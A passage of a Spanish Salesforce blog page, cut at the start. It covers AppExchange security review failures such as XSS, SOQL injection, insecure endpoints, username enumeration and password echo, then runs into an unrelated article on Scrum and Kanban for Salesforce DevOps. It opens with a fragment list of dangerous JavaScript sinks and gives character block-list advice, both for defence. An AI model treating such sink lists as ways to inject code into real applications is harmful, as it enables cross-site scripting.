,DOMParser.parseFromString()
,Document.implementation.createHTMLDocument()
,setTimeout()
,setInterval()
) - Filtrado de entrada: asegúrese de que la entrada del usuario no contenga código ejecutable mediante el uso de expresiones regulares y listas de bloqueo o listas de permitidos (por ejemplo, filtre los caracteres comúnmente utilizados en el código, como '<', '>', comillas simples o dobles, ' /', ';', corchetes, paréntesis u operadores matemáticos o lógicos como '+', '&' o '-')
- Codificación de salida : asegúrese de que si el código ejecutable pasara el filtrado de entrada, no se interprete como código al convertir caracteres "peligrosos" en versiones de texto inofensivas (por ejemplo, '&; debe convertirse a & y '<' o '>' debe convertirse a < y >)
Este módulo de Trailhead explica exactamente cómo mitigar XSS con estas técnicas, y nuestra documentación para desarrolladores también es útil aquí. Para obtener consejos específicos sobre la protección contra XSS en componentes Lightning, consulte la página Seguridad Lightning en la Guía de codificación segura.
Para aplicaciones web que no son de Salesforce, también puede consultar la documentación de OWASP para obtener consejos adicionales.
Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas.
#9: JavaScript no está en recursos estáticos
¿Qué es esto?
Muchos paquetes administrados por Salesforce no pasan la revisión de seguridad por no almacenar JavaScript como recursos estáticos en sus paquetes y, en su lugar, se vinculan a archivos JavaScript alojados externamente con etiquetas <script>
. La razón principal de esta regla es que permite un control de versiones mucho más seguro y garantiza la integridad de los archivos JavaScript en su paquete de Salesforce incluso si la fuente externa está comprometida.
¿Cómo puedo abordar esto?
Nuestra regla es que todos los recursos de script y estilo deben agregarse al paquete como recursos estáticos y luego cargarse con una etiqueta <apex:includeScript>
en su página (para Visualforce) o un ltng:require
en su .cmp o .app. marcado (para Aura).
Nota: Si tiene un LWC, defina los módulos JavaScript que importe a su componente o use la función loadScript
para cargar un archivo JavaScript de recursos estáticos.
Para paquetes que no son LWC, la mejor manera de verificar este problema es buscar manualmente su código fuente para asegurarse de que todas las bibliotecas de JavaScript estén almacenadas como recursos estáticos, no cargadas dinámicamente a través de hipervínculos.
Para situaciones en las que esto no sea factible, recomendamos programar una cita en horario de oficina técnica para analizar su caso de uso. Es posible obtener una excepción en ciertos casos.
Obtenga más información sobre este problema en nuestra documentación para desarrolladores .
#10 – Inyección SOQL
¿Qué es esto?
La inyección SOQL es la versión específica de Salesforce de la inyección SQL. Ocurre cuando una entrada no validada proporcionada por el usuario se inserta directamente en una consulta SOQL dinámica. Si la entrada no está validada, puede incluir comandos SOQL que modifican efectivamente la declaración SOQL y engañan a la aplicación para que ejecute comandos no deseados.
¿Cómo puedo abordar esto?
La forma más sencilla de evitar el problema es evitar consultas dinámicas en favor de consultas estáticas y utilizar variables vinculantes. De lo contrario, deberá validar estrictamente las entradas del usuario antes de usarlas en consultas mediante técnicas como encasillamiento, lista blanca de entradas o escape.
Code Analyzer , PMD para VS Code y Checkmarx también pueden ayudarlo a escanear su código.
Para obtener más información, consulte nuestro módulo Trailhead o revise nuestra documentación para desarrolladores .
Para aplicaciones que no son de Salesforce, es posible que desee obtener más información sobre la inyección SQL en la guía OWASP . Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudar a identificar problemas de inyección SQL.
#11 — Lightning: carga CSS inadecuada
¿Qué es esto?
Similar al problema de usar etiquetas <script>
o <link>
para cargar JavaScript en sus paquetes, usar etiquetas <link>
o <style>
para cargar CSS en lugar de <apex:stylesheet>
(Visualforce) o <ltng:require>
( Aura) se considera una práctica insegura. Estas etiquetas <link>
y <style>
pueden hacer referencia a recursos externos o en línea que contienen CSS o JavaScript, y la arquitectura de seguridad Lightning Web Security (LWS) de Salesforce no los controla ni los desinfecta.
Para los componentes de Aura, en particular, el uso de <ltng:require>
también permite a Salesforce aplicar correctamente las reglas de seguridad LWS y garantizar que el CSS que está cargando esté correctamente aislado y no incluya código o estilos JavaScript no seguros que puedan afectar negativamente a otros. partes de su aplicación Salesforce.
¿Cómo puedo abordar esto?
Para hacer referencia a un recurso CSS externo que haya subido como recurso estático, use una etiqueta <apex:stylesheet>
en su página (para Visualforce) o una etiqueta <ltng:require>
en su marcado .cmp o .app (para Aura ). Busque el código fuente de su paquete para asegurarse de que no haya utilizado etiquetas <link>
o <style>
en ningún lugar para cargar recursos CSS.
Nota: Si tiene una LWC, no puede encontrarse con este problema de todos modos porque, al igual que las etiquetas <script>
, las etiquetas <style>
ya están bloqueadas para su uso dentro de las plantillas HTML. En su lugar, incluiría su CSS en el archivo CSS asociado de su componente o usaría la función loadStyle
para cargar un archivo CSS de recursos estáticos.
Puede encontrar más información en nuestra documentación para desarrolladores .
#12: JavaScript en Salesforce DOM (solo experiencia clásica)
¿Qué es esto?
Salesforce tiene reglas estrictas sobre el uso de JavaScript y una de esas reglas es que JavaScript no se puede ejecutar directamente dentro del contexto de la aplicación Salesforce. Esto significa que no puede incluir bloques de JavaScript directamente dentro de los componentes que se ejecutan en Salesforce DOM, como HomePageComponents, WebLinks, Custom Buttons, etc.
En cambio, todo JavaScript debe residir bajo el dominio de espacio de nombres de su aplicación en las páginas de Visualforce que usted controla, de modo que el JavaScript personalizado esté esencialmente aislado del DOM principal de Salesforce. Eso significa que no puede usar JavaScript para crear botones personalizados, pestañas web, componentes de página de inicio y elementos similares (por ejemplo, incluir controladores de eventos de JavaScript onclick en botones personalizados podría ser motivo de falla).
¿Cómo puedo abordar esto?
Esto es algo que deberá verificar manualmente en el código fuente de su paquete Salesforce. Verifique y asegúrese de que no haya utilizado JavaScript para crear botones personalizados, pestañas web, componentes de la página de inicio u otros elementos similares, y verifique que cualquier JavaScript personalizado esté incluido solo en el dominio de su aplicación con espacio de nombres en las páginas de VisualForce que controla como parte de su aplicación.
Una forma de verificar esto es buscar el texto <openType>onClickJavaScript</openType>
en los archivos de metadatos de la aplicación (a menudo en archivos XML como weblink/something.weblink) y, si lo encuentra, asegúrese de eliminarlo. Incluso si su aplicación solo está destinada a usarse en Lightning Experience, si la vulnerabilidad está presente para los usuarios en modo Clásico, el paquete no se puede aprobar.
Esta regla en particular no está especialmente bien documentada, pero puede leer más en el documento Lista de verificación de revisión de seguridad de AppExchange (se requiere iniciar sesión en la comunidad de socios).
#13 — Divulgación de información en páginas de error y excepciones
¿Qué es esto?
En el contexto de la revisión de seguridad de AppExchange, este término se refiere específicamente a situaciones (generalmente en aplicaciones o servicios web que no son de Salesforce o fuera de plataforma) donde sus páginas de error muestran datos confidenciales del sistema o información de depuración. Por ejemplo, a veces las páginas de error incluyen seguimientos de pila completos que muestran cómo se hace referencia internamente a los objetos o rutas de archivo relativas al lugar donde está instalada la aplicación. A veces, incluso la información confidencial queda expuesta de esta manera.
¿Cómo puedo abordar esto?
Busque en su base de código llamadas que causen excepciones o que los seguimientos de pila se representen en cadenas o flujos de salida, y realice pruebas que puedan causar errores, como entradas no válidas, entradas vacías, entradas demasiado largas, acceso a páginas internas sin autenticación, omisión de aplicaciones. flujo, etc
La herramienta de fuzzing de Burp Suite puede ser una gran ayuda en este caso.
También puede obtener excelentes consejos para realizar pruebas de seguimiento de pila a través de esta guía de OWASP .
#14 — Componentes de Aura: componente externo de CSS
¿Qué es esto?
Se supone que los componentes de Aura son pequeños, autónomos, reutilizables y reposicionables. CSS que evita la encapsulación de componentes (a través de .THIS) o que utiliza un posicionamiento no estándar (por ejemplo, flotante o posición: absoluta o fija) infringe estas garantías y puede interferir con la visualización de otros componentes. En particular, el uso del posicionamiento absoluto en CSS es la razón principal de este tipo de falla.
Si bien esto puede no parecer un problema de seguridad a primera vista, puede alterar el diseño del sitio web de Salesforce y viola el espíritu del modelo de seguridad de Lightning, donde los componentes están estrictamente aislados y se garantiza que permanecerán en su propio carril.
¿Cómo puedo abordar esto?
Este es otro problema que debes verificar manualmente. Básicamente, busque en el CSS de su componente Aura, especialmente para posicionamiento absoluto/fijo o ancho y alto fijos. También recomendamos revisar nuestra documentación para asegurarse de que está siguiendo todas las reglas CSS correctas.
#15 — Canal de mensajes expuesto
¿Qué es esto?
Este término se refiere específicamente a los casos en los que no ha configurado el indicador isExposed
en Lightning Message Channel en falso. Dado que esto proporciona acceso a la API del Servicio de mensajes Lightning (LMS), que le permite publicar y suscribirse a mensajes en todo el DOM y entre Aura, Visualforce y Lightning Web Components, debe establecerse en falso a menos que sea realmente necesario.
¿Cómo puedo abordar esto?
Tiene dos opciones, según su caso de uso, que incluyen:
- Registre un ticket de soporte para solicitar que se habilite la eliminación de componentes administrados para su paquete u organización de Dev Hub y elimine el componente del paquete. Si no puede hacerlo (por ejemplo, si esto afectaría la funcionalidad de los suscriptores que dependen de canales de mensajes expuestos), puede dejar el componente en el paquete y simplemente no usarlo (asegúrese de mencionar esto específicamente en un mensaje falso). documento positivo sobre su presentación).
- Si tiene que utilizar un componente de canal LMS, asegúrese de tener
isExposed=false
. Esto debe hacerse creando un nuevo componente de canal LMS porque los componentes existentes conisExposed=true
no pueden cambiarisExposed=false
. Utilice únicamente el componente recién creado en el código.
Más información está disponible en la documentación .
#16 – Información confidencial en URL
¿Qué es esto?
Esto se refiere a una situación en la que se envía información confidencial de larga duración en URL (por ejemplo, un ID o secreto de cliente, o un nombre de usuario/contraseña). En realidad, esto puede llevar a que se filtren secretos a largo plazo de varias maneras posibles. Por ejemplo:
- Las URL completas a menudo se almacenan en servidores en registros de texto sin cifrar que pueden no almacenarse de forma segura y pueden ser vistos por el personal o comprometidos por un tercero.
- Los motores de búsqueda indexan URL y almacenan inadvertidamente información confidencial
- Almacenamiento de rutas URL completas en el historial del navegador local, caché del navegador, marcadores y marcadores sincronizados entre dispositivos
- Información de URL enviada a aplicaciones web de terceros a través del encabezado de referencia o expuesta a scripts de terceros en la página
¿Cómo puedo abordar esto?
Burp Suite puede ayudarle aquí para aplicaciones web que no sean de Salesforce o fuera de plataforma, pero en general recomendamos comprobar manualmente su aplicación para detectar cualquier caso en el que se envíen secretos a largo plazo a través de URL. Dependiendo de su caso de uso, es posible que deba realizar cambios, como usar solicitudes POST en lugar de solicitudes GET, cambiar su método de autenticación (OAuth 2.0 es generalmente ideal) y emplear cifrado y mejores métodos de almacenamiento de secretos.
La guía OWASP es un gran recurso a seguir.
#17 – Punto final inseguro
¿Qué es esto?
El nombre de esta vulnerabilidad simplemente se refiere a situaciones en las que se utiliza HTTP en lugar de HTTPS.
¿Cómo puedo abordar esto?
Las herramientas de escaneo pueden ser de ayuda, pero una forma aún más segura de verificar esto es buscar en el código fuente enlaces HTTP y cambiarlos a HTTPS. Puede aprender un poco más sobre cómo esto mejora la seguridad en esta página de OWASP .
#18 — Enumeración de nombre de usuario o correo electrónico
¿Qué es esto?
Por lo general, este problema solo surge en aplicaciones web externas fuera de la plataforma Salesforce. Se refiere a una situación en la que los atacantes pueden enumerar listas de nombres de usuario o correos electrónicos de su base de usuarios, generalmente analizando cambios en mensajes de error en funciones de inicio de sesión, funciones de olvido de contraseña o registros de cuentas. Los atacantes suelen hacer esto para poder comprobar si hay contraseñas reutilizadas de bases de datos comprometidas y fugas o volcados de contraseñas.
¿Cómo puedo abordar esto?
Verifique sus mensajes de error para registros de cuentas, recuperación de contraseñas, intentos de inicio de sesión, etc., y asegúrese de que su mensaje de error sea el mismo independientemente de si el nombre de usuario o el correo electrónico ingresado es válido.
Por ejemplo, muchos sitios incluyen un mensaje genérico, como: "Si dicho usuario existe, recibirá un correo electrónico con un restablecimiento de contraseña". Este tipo de mensaje general evita confirmar la existencia de un nombre de usuario o correo electrónico.
Por supuesto, en determinadas situaciones, puede ser inevitable (por ejemplo, durante el registro de una cuenta, es posible que deba confirmar que se ha utilizado un nombre de usuario). En esas situaciones, intente implementar controles que impidan la enumeración por fuerza bruta, como captchas para evitar que los robots eliminen su formulario de registro.
Burp Suite es una excelente herramienta para verificar esto, pero si no la tiene, también puede revisar sus funcionalidades de inicio de sesión manualmente.
OWASP tiene una guía útil para evitar la enumeración de correos electrónicos y nombres de usuarios.
#19 — Gestión de contraseñas
¿Qué es esto?
En ocasiones, el equipo de seguridad falla en sitios y aplicaciones web externos (que no sean Salesforce) por tener políticas de contraseñas problemáticas, como por ejemplo:
- Permitir la reutilización de la misma contraseña cuando es necesario restablecerla
- No solicitar la contraseña anterior cuando se permite a los usuarios establecer una nueva contraseña
- Para restablecer la contraseña, enviar una contraseña temporal al correo electrónico de un usuario en texto sin formato
- Dejar contraseñas predeterminadas en los usuarios raíz del servidor o de la base de datos
¿Cómo puedo abordar esto?
Además de evitar las situaciones anteriores, consulte la Hoja de referencia de autenticación de OWASP para obtener algunas pautas sobre cómo establecer políticas de contraseñas seguras:
Burp Suite también es muy útil para identificar problemas relacionados con las contraseñas (por ejemplo, puede usarlo para intentar forzar sus páginas de inicio de sesión).
#20 – Eco de contraseña
¿Qué es esto?
Esto es un poco diferente del problema de administración de contraseñas descrito anteriormente. Un eco de contraseña se refiere a situaciones en las que las contraseñas se reflejan en texto sin formato en la interfaz de usuario (como cuando el usuario visita su propia página de configuración) o en llamadas API/respuestas JSON.
¿Cómo puedo abordar esto?
Asegúrese de que su contraseña no se revele ni se transmita en texto sin formato en ninguna parte de su aplicación. Asegúrese de que en las páginas de configuración u otras páginas que muestran secretos, se muestren solo como asteriscos (se pueden mostrar al hacer clic en el botón si es necesario).
Consulte la hoja de referencia sobre almacenamiento de contraseñas de OWASP para obtener más información.
Burp Suite , o quizás Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas.
Recursos adicionales
Si su solución incluye sitios web o aplicaciones web personalizados que no son de Salesforce, le recomendamos encarecidamente invertir en una licencia de Burp Suite si es financieramente viable para su organización. Burp Suite es una de las mejores herramientas de seguridad del mercado y también la utiliza mucho nuestro propio equipo de seguridad de productos. Chimera u OWASP ZAP son alternativas completamente gratuitas, pero prepárate para invertir más tiempo en términos de revisión manual, ya que carecen de muchas de las potentes funciones/herramientas que tiene Burp Suite.
Nota: Si su oferta se integra con aplicaciones o servicios web que no son de su propiedad, no intente escanear los puntos finales hasta que haya obtenido el permiso del propietario.
Salesforce Product Security también utiliza Code Analyzer , PMD para VS Code y Checkmarx para revisar el código fuente del paquete Salesforce. También utilizan la base de datos CVE y el escáner Qualys SSL en la mayoría de los envíos.
Si tiene problemas de seguridad y necesita orientación técnica, los socios ISV pueden registrarse para obtener horas de oficina gratuitas con nuestros ingenieros de seguridad a través del Portal de seguridad para socios .
Por último, no podemos recomendar lo suficiente Trailhead en términos de preparación para revisiones de seguridad. Vale la pena dedicar tiempo a la ruta Desarrollar aplicaciones web seguras y también acabamos de renovar el módulo Revisión de seguridad de AppExchange , que analiza el proceso de envío de un extremo a otro.
Sobre el Autor
Anika Teppo es evangelista técnica en Salesforce. Ha estado trabajando con el equipo de revisión de seguridad de AppExchange en Salesforce desde 2017, y su función actual consiste en hacer que Salesforce Labs y las soluciones internas se revisen y publiquen en AppExchange.
Obtenga las últimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a través de Slack o RSS.
Añadir a holgura Suscríbete a RSS
Incorporación de Agile en Salesforce DevOps – Inspire Planner
La rápida era digital exige que las empresas entreguen valor de manera rápida y eficiente. Sin embargo, los equipos dispersos geográficamente y las operaciones de desarrollo complejas, particularmente en Salesforce DevOps, a menudo pueden dar lugar a plazos incumplidos, equipos tensos y flujos de trabajo inconexos. Ahí es donde entra en juego Agile en Salesforce DevOps.
La gestión ágil de proyectos ofrece una solución que incorpora las metodologías Scrum y Kanban para permitir una adaptación rápida, una colaboración mejorada y una entrega continua de software de alta calidad, lo que ayuda a las empresas a mantenerse competitivas y cumplir con las expectativas de los clientes.
En una encuesta realizada por KPMG, el 84% de los participantes informaron que su organización utiliza metodologías Scrum o Kanban. Entonces, la pregunta es, ¿y tú?
Comprensión de Agile en Salesforce DevOps: Scrum y Kanban
Tabla de contenido
Las metodologías ágiles son estrategias flexibles que facilitan una gestión de proyectos ágil y eficiente en el desarrollo de software. Se basan en los principios de:
- Transparencia : este principio garantiza que todos los aspectos del proyecto sean visibles para todos los responsables del resultado. Esto incluye información sobre los objetivos, el progreso y el proceso del proyecto.
- Inspección : los miembros del equipo y las partes interesadas inspeccionan con frecuencia el progreso y el trabajo hacia la meta del proyecto para detectar variaciones no deseadas.
- Adaptación : si el equipo identifica discrepancias significativas durante una inspección, debe ajustar su proceso o los materiales en los que se está trabajando.
Melé
Scrum está diseñado para equipos compuestos por diez miembros o menos. Este enfoque implica dividir el trabajo en objetivos que deben cumplirse dentro de períodos específicos conocidos como sprints. Un Sprint es un período de tiempo dentro del cual se crea un incremento de producto "Terminado", utilizable y potencialmente liberable.
Por lo general, cada sprint dura hasta un mes, pero la duración más común es de dos semanas. El equipo evalúa su progreso en reuniones diarias de scrum, que son debates rápidos que no superan los 15 minutos.
Al finalizar un sprint, se llevan a cabo dos reuniones adicionales: una revisión del sprint para mostrar el trabajo a las partes interesadas y recopilar sus comentarios, y una retrospectiva del sprint que permite al equipo reflexionar e identificar áreas de mejora.
Kanban
Kanban es un sistema visual que ayuda a administrar el trabajo, identificar cuellos de botella y garantizar un flujo de trabajo eficiente y rentable.
Kanban sigue cuatro principios:
- Visualice el flujo de trabajo : un modelo visual del trabajo permite a los miembros observar el flujo de trabajo que se mueve a través del sistema y responder rápidamente a los bloqueos.
- Limite el trabajo en progreso (WIP) : al limitar la cantidad de trabajo sin terminar que está en proceso, los equipos pueden reducir el tiempo que tarda un elemento en viajar a través del sistema Kanban.
- Gestionar Flujo : La gestión de elementos de trabajo debe ser continua y enfocada a lograr un flujo fluido, con tiempos de finalización rápidos y trabajo de calidad.
- Mejora continua : los equipos deben analizar continuamente su flujo de trabajo y hacer los ajustes necesarios para mejorar el rendimiento y la eficiencia.
Análisis comparativo de Scrum y Kanban
El siguiente análisis le brinda una breve descripción general de qué marco podría usar en su organización.
Melé | Kanban | |
Flujo de rutina frente a flujo continuo | Scrum se basa en iteraciones de tiempo limitado llamadas Sprints, generalmente de 1 a 4 semanas de duración. | Se enfoca en el flujo continuo y no tiene plazos específicos. |
roles | Ayuda a los equipos a administrar proyectos complejos dividiéndolos en "sprints" manejables y con límites de tiempo con revisiones periódicas y retrospectivas | Mejora la transparencia y la eficiencia del flujo de trabajo al visualizar las tareas y limitar el trabajo en curso |
Filosofía del cambio | Scrum desalienta los cambios dentro de un sprint. | Permite realizar cambios en cualquier momento |
Alcance del Trabajo | Funciona mejor con proyectos complejos con elementos interdependientes que requieren colaboración. | Funciona bien para tareas en curso y actividades de mantenimiento. |
Fortalezas y limitaciones de Agile en Salesforce DevOps: Scrum vs Kanban
Por supuesto, antes de decidir qué marco usar para Agile en Salesforce DevOps, es esencial observar sus fortalezas y limitaciones:
Melé | Kanban | |
Fortalezas | + Adecuado para proyectos complejos donde se necesita una estrecha colaboración y una respuesta rápida. + Funciones y responsabilidades bien definidas mejoran la rendición de cuentas. + Las revisiones periódicas y las retrospectivas fomentan la mejora continua. |
+ Excelente visualización del trabajo en curso. + Flexibilidad para manejar cambios o nuevas tareas. + Ideal para flujos de trabajo continuos e ininterrumpidos. |
Limitaciones | – Las iteraciones fijas pueden generar ineficiencias si no se completa todo el trabajo dentro del sprint. – No es tan flexible para cambiar a mitad del sprint. – Requiere un alto nivel de disciplina y comprensión de los principios de Scrum. |
– Puede que no sea tan efectivo para tareas complejas e interdependientes. – Sin disciplina, los límites WIP pueden ignorarse, lo que genera cuellos de botella. – La falta de limitaciones de tiempo puede dar lugar a retrasos y falta de urgencia. |
El papel de Scrum en Salesforce DevOps
Salesforce es una plataforma altamente personalizable que requiere actualizaciones y mejoras frecuentes para satisfacer las necesidades dinámicas de las empresas. Aquí es donde Scrum puede traer ventajas significativas.
- Desarrollo iterativo : el enfoque iterativo de Scrum se alinea bien con el desarrollo de Salesforce. Permite lanzamientos menores e incrementales con cada sprint, lo que permite a los equipos responder más rápidamente a los requisitos y cambios comerciales.
- Claridad de funciones : las funciones definidas en Scrum (Propietario del producto, Scrum Master y Equipo de desarrollo) brindan responsabilidades y responsabilidades claras, fomentando un entorno de trabajo en equipo sólido y una comunicación efectiva, que son fundamentales en los proyectos de Salesforce.
- Comentarios y mejoras continuas : con las revisiones y retrospectivas periódicas de Scrum, el equipo puede aprender y adaptarse continuamente a las necesidades cambiantes. Esta agilidad es especialmente beneficiosa dados los frecuentes lanzamientos y actualizaciones de Salesforce.
- Mitigación de riesgos : los sprints breves y delimitados en el tiempo permiten la identificación y resolución temprana de problemas o riesgos, lo que reduce las posibilidades de fracaso del proyecto. Para obtener más detalles sobre este tema, consulte nuestro artículo sobre cómo reducir los riesgos y problemas imprevistos del proyecto.
Beneficios de usar Scrum y Agile en Salesforce DevOps
Mejorar la colaboración, la flexibilidad y la productividad en Salesforce DevOps con Scrum es una excelente manera de garantizar que los proyectos se entreguen con éxito y a tiempo. Este es el por qué:
- Colaboración : Scrum fomenta un entorno altamente colaborativo. Las reuniones diarias de Scrum mantienen a todos alineados sobre el estado y los desafíos del proyecto, lo que promueve una resolución de problemas más efectiva. Además, la comprensión compartida y la comunicación frecuente reducen los malentendidos y la repetición del trabajo.
- Flexibilidad : la naturaleza iterativa de Scrum permite que los cambios se incorporen fácilmente en el próximo sprint. Esto es particularmente beneficioso en Salesforce DevOps, donde los cambios son frecuentes debido a nuevos requisitos comerciales, comentarios de clientes o actualizaciones de Salesforce.
- Productividad : al dividir el proyecto en unidades manejables (sprints), los equipos pueden enfocarse mejor y producir un trabajo de alta calidad, mejorando la productividad. Además, la visibilidad de la capacidad del equipo evita la sobrecarga y fomenta un ritmo sostenible, lo que contribuye a elevar la moral y mejorar aún más la productividad.
Los equipos que implementan efectivamente las metodologías Scrum pueden presenciar un aumento de la productividad que oscila entre el 300 % y el 400 %.
- Satisfacción del cliente : Scrum se enfoca en brindar valor con cada sprint, lo que lleva a resultados frecuentes y tangibles. Esta entrega constante de características valiosas puede aumentar la satisfacción del cliente mediante el uso de Agile en Salesforce DevOps.
Cuando MediaMarkt, el minorista de electrónica de consumo líder en Europa, se expandió a China en 2010, desarrolló rápidamente una innovadora suite de planificación de recursos empresariales (ERP) en un año. Gracias a la metodología Scrum y un equipo colaborativo, implementaron múltiples aplicaciones estándar, lo que facilitó el lanzamiento de nuevas tiendas en Asia y preparó un crecimiento sustancial en China.
Aprovechamiento de Kanban para Salesforce DevOps
Kanban es una metodología Agile robusta que mejora la visibilidad y la eficiencia en los entornos de Salesforce DevOps. Así es cómo:
- Visibilidad : Kanban utiliza un tablero visual (tablero Kanban) para representar el flujo de trabajo. Cada tarea o historia de usuario se representa como una tarjeta en este tablero, moviéndose de una columna a otra a medida que avanza. El uso de tableros Kanban para administrar el flujo de trabajo ha experimentado un aumento constante, con el 61 % de los encuestados usándolos ahora, un aumento sustancial del 6 % inicial informado en la primera encuesta.
- Eficiencia : al establecer límites de trabajo en curso (WIP), Kanban evita que los miembros del equipo se sientan abrumados con demasiadas tareas. Esto conduce a un mejor enfoque y una finalización más rápida de las tareas. Cuando se identifica un cuello de botella (por ejemplo, demasiadas tareas en una columna en particular), se aborda de inmediato para mantener el flujo de trabajo de manera eficiente.
- Entrega continua : en un entorno de Salesforce DevOps, a menudo existe la necesidad de entrega, mantenimiento o soporte continuos. Kanban respalda esto al promover un flujo continuo de trabajo en lugar de trabajar en iteraciones o sprints de longitud fija.
Siemens Health Services quería aumentar la velocidad y la calidad de la entrega de software. A pesar de los contratiempos iniciales con sus métodos ágiles, el cambio hacia el pensamiento Lean y la adopción de Kanban mejoraron drásticamente la transparencia de sus procesos, aumentaron la calidad del trabajo, redujeron las tasas de defectos y, en última instancia, impulsaron el compromiso del equipo, lo que hizo que sus productos fueran más competitivos en un mercado exigente.
- Flexibilidad : Kanban permite agregar nuevas tareas a la cartera de pedidos en cualquier momento, siempre que se respeten los límites WIP. Esto es particularmente beneficioso en un entorno de Salesforce DevOps donde existe la necesidad de reaccionar rápidamente ante nuevos problemas o cambios.
Pasos para integrar la metodología Kanban en proyectos de Salesforce
Estos son los pasos prácticos necesarios para integrar de manera efectiva la metodología Kanban en sus proyectos de Salesforce para mejorar la visibilidad y la eficiencia:
- Defina las etapas del flujo de trabajo : divida su flujo de trabajo en distintas etapas. Algunas de las etapas típicas incluyen Backlog, En desarrollo, UAT y Completado, pero se pueden ajustar según las necesidades específicas de su proyecto.
- Cree un tablero Kanban : use una herramienta de gestión de proyectos física o digital como Inspire Planner para crear su tablero Kanban. Representa cada etapa del flujo de trabajo como una columna en el tablero.
- Cree tarjetas para tareas : escriba cada tarea o historia de usuario en una tarjeta separada y coloque estas tarjetas en la columna correspondiente en el tablero Kanban.
- Establecer límites de trabajo en curso (WIP) : defina cuántas tareas pueden estar en curso en cada etapa de su flujo de trabajo en un momento dado. Esto evita la sobrecarga y ayuda a identificar cuellos de botella.
- Administre y perfeccione el flujo de trabajo : mueva las tarjetas de izquierda a derecha en el tablero a medida que avanza el trabajo. Revise regularmente la junta para identificar y abordar los cuellos de botella. Respete los límites WIP y mueva una tarjeta a la siguiente etapa cuando haya capacidad.
- Mejora continua : revise y analice el flujo de trabajo con regularidad. Busque formas de mejorar la eficiencia, como ajustar los límites WIP o redefinir las etapas. El objetivo es lograr un flujo de trabajo fluido y eficiente.
10 mejores prácticas para integrar metodologías ágiles en Salesforce DevOps
Las siguientes prácticas pueden ayudarlo a integrar Agile en Salesforce DevOps:
- Entrenamiento y educación
Asegúrese de que los miembros de su equipo comprendan los principios Agile y las prácticas de Scrum o Kanban en función de la metodología elegida. Invierta en cursos de capacitación, talleres y recursos relevantes.
- Empieza pequeño
Comience con un proyecto pequeño que no tenga mucho en juego. Esto permitirá que su equipo aprenda y se adapte a Agile en Salesforce DevOps en un entorno de baja presión.
- Seleccione un marco ágil adecuado
Elija Scrum o Kanban según los requisitos de su proyecto. Scrum es ideal para proyectos complejos que requieren una estrecha colaboración, mientras que Kanban es adecuado para flujos de trabajo continuos con tareas independientes.
- Utilice herramientas ágiles de gestión de proyectos
Utilice herramientas diseñadas específicamente para prácticas ágiles. Herramientas como Inspire Planner y Jira pueden facilitar los flujos de trabajo Scrum y Kanban, facilitando la transición. Si su organización utiliza Salesforce, idealmente debería buscar una herramienta de gestión de proyectos nativa de Salesforce en AppExchange.
- Promover una cultura colaborativa
Fomente la comunicación abierta, la retroalimentación frecuente y la colaboración activa. Recuerde, Agile en Salesforce DevOps se trata tanto de mentalidad y cultura como de procesos y herramientas.
- Hacer uso de otras herramientas de DevOps
Hay otras herramientas de Salesforce DevOps disponibles que también pueden ayudar a los equipos a colaborar de manera efectiva para garantizar que el software que entregan sea rápido y confiable.
- Perfeccione regularmente el trabajo pendiente : las sesiones periódicas de preparación del trabajo pendiente garantizan que su trabajo pendiente siga siendo relevante, priorizado y manejable.
- Aceptar los cambios : los cambios son una parte integral de Agile. Esté preparado para incorporar cambios en el próximo sprint (en Scrum) o cuando el límite WIP lo permita (en Kanban).
- Realice retrospectivas : después de cada sprint (en Scrum) o a intervalos regulares (en Kanban), realice reuniones retrospectivas para analizar qué funcionó bien, qué no y cómo puede mejorar el equipo.
- Aproveche las herramientas de Salesforce : puede usar herramientas como Inspire Planner que están específicamente diseñadas para administrar procesos Agile directamente en Salesforce. Esto puede ser particularmente útil si su proyecto implica el desarrollo de Salesforce.
8 errores a evitar al incorporar Agile en Salesforce DevOps
La incorporación de Agile en Salesforce DevOps puede traer muchos beneficios, pero hay ciertas trampas que se deben evitar para garantizar una implementación y ejecución sin problemas:
- No entrenar al equipo : Scrum y Kanban requieren una comprensión clara de los principios y prácticas involucrados. Es vital asegurarse de que su equipo reciba la capacitación adecuada antes de la implementación.
- Descuidar la comunicación : la comunicación regular y clara es crucial en las metodologías ágiles. Sin ella, pueden surgir malas interpretaciones que conduzcan a ineficiencias y errores.
- Sobrecargar el flujo de trabajo : Agile no significa hacer más trabajo en menos tiempo. Se trata de administrar el trabajo de manera más efectiva. Asegúrese de que la carga de trabajo del equipo sea manejable y sostenible. En Kanban, es esencial no exceder el límite de trabajo en curso (WIP). La sobrecarga puede provocar cuellos de botella, lo que reduce la productividad general.
- Descuidar la calidad : para entregar rápidamente, los equipos pueden comprometer la calidad. Incorpore prácticas como el desarrollo basado en pruebas (TDD) y las pruebas automatizadas para garantizar que la calidad no se vea afectada.
- Ignorando las retrospectivas : Scrum fomenta las retrospectivas periódicas para identificar y abordar áreas de mejora. Ignorar estas reuniones puede dificultar la mejora continua, que es vital en Agile en Salesforce DevOps.
- No adaptarse al cambio : las metodologías ágiles como Scrum y Kanban se tratan de aceptar el cambio. La resistencia al cambio puede hacer que estas metodologías sean menos efectivas. Supere esto a través de capacitación, comunicación abierta sobre los beneficios de Agile en Salesforce DevOps e involucrando a los miembros del equipo en el proceso de transición.
- Uso incorrecto de herramientas : las herramientas de Salesforce y Agile deben usarse de manera efectiva para monitorear el progreso y administrar los flujos de trabajo. El uso incorrecto puede generar confusión e ineficiencia. Busque una aplicación de gestión de proyectos de Salesforce Agile que ofrezca un proceso adecuado de incorporación y formación.
- Falta de participación de las partes interesadas : el aporte de las partes interesadas es invaluable en las metodologías ágiles. Ignorar sus comentarios puede generar productos que no satisfagan las necesidades de los usuarios.
Herramientas compatibles con metodologías ágiles en Salesforce DevOps
Varias herramientas pueden ayudar a administrar los flujos de trabajo de Scrum y Kanban, incluidas Jira, Inspire Planner y Trello.
jira
Atlassian desarrolló Jira como una herramienta versátil compatible con Scrum, Kanban y metodologías mixtas. Sus sólidas funciones incluyen la priorización de tareas pendientes, la planificación de sprints, los gráficos de avance y reducción, los flujos de trabajo personalizados y más. Sin embargo, para integrar Jira con Salesforce, deberá configurar una solución de integrador de terceros y mantenerla a lo largo del tiempo.
Inspirar planificador
